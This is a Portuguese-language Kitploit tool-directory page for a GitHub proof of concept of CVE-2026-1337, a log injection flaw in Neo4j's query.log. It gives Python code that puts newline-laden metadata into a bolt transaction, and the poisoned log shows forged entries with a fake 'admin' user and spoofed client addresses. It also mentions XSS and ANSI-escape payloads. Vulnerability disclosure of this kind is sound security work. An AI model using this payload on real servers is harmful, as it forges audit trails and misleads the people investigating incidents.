Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-1337 — CVE-2026-1337 - Neo4j - Log Injection | Kitploit
Ferramentas/GitHubGitHub/joakimbulow/cve-2026-1337
Vulnerability AnalysisExploitationWeb SecurityDatabase SecurityLog Analysis
GitHubjoakimbulow/cve-2026-1337

CVE-2026-1337

CVE-2026-1337 - Neo4j - Log Injection

Ver Repositório
53há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-1337 - Neo4j - Injeção de Log

A injeção de log por um usuário autenticado é possível no query.log do Neo4j quando o Neo4j não está configurado para o formato json.

Resumo

O Neo4j não escapa caracteres de controle no campo de metadados de uma transação bolt. Um usuário autenticado poderia enviar caracteres de controle para injetar entradas de log falsas, inserindo novas linhas, \n.

No código POC anexado, essas consultas são adicionadas ao query.log de uma forma que ambas parecem legítimas, mas apenas a primeira é. Há também alguns outros artefatos, mal formatados, nos logs devido à injeção.

MATCH (n:RealQuery) RETURN n LIMIT 1

MATCH (n:FakeQuery1) RETURN n LIMIT 1

^ a segunda é injetada, nunca é executada

Essencialmente, isto:

root@kitploit:~
with driver.session() as session:
    tx = session.begin_transaction(metadata={"x": payload})
    tx.run("RETURN 1")
    tx.commit()

onde payload é algo como '\n 2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {} 2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {} 2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {} 2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}' produz este query.log:

root@kitploit:~
2025-12-05 13:08:34.585+0000 INFO  Query started: id:1 - transaction id:1 - 255 ms: (planning: 255, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/127.0.0.1:50422	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:35.308+0000 INFO  id:1 - transaction id:1 - 980 ms: (planning: 915, waiting: 0) - 312 B - 2 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/127.0.0.1:50422	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:35.333+0000 INFO  Query started: id:2 - transaction id:2 - 10 ms: (planning: 10, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/127.0.0.1:50422	server/127.0.0.1:7687>	neo4j - neo4j - RETURN 1 - {} - runtime=null - {x: ''
2025-12-05 13:08:34.148+0000 INFO  Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/10.0.0.1:1337	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO  Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/192.168.1.50:4444	server/127.0.0.1:7687>	neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO  id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/10.0.0.1:1337	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO  id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/192.168.1.50:4444	server/127.0.0.1:7687>	neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
2025-12-05 13:08:35.370+0000 INFO  id:2 - transaction id:2 - 47 ms: (planning: 44, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/127.0.0.1:50422	server/127.0.0.1:7687>	neo4j - neo4j - RETURN 1 - {} - runtime=pipelined - {x: ''
2025-12-05 13:08:34.148+0000 INFO  Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/10.0.0.1:1337	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO  Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/192.168.1.50:4444	server/127.0.0.1:7687>	neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO  id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/10.0.0.1:1337	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO  id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/192.168.1.50:4444	server/127.0.0.1:7687>	neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}

POC

python log_injection_poc.py --uri bolt://127.0.0.1:7687 --password secret123

Isso injetará entradas de log falsas no query.log.

A falta de escape também pode ser abusada para injetar, por exemplo, payloads XSS (um risco para aplicações web de análise de logs) ou caracteres de escape ANSI (um risco para interação com logs baseada em terminal).

Baixar ferramenta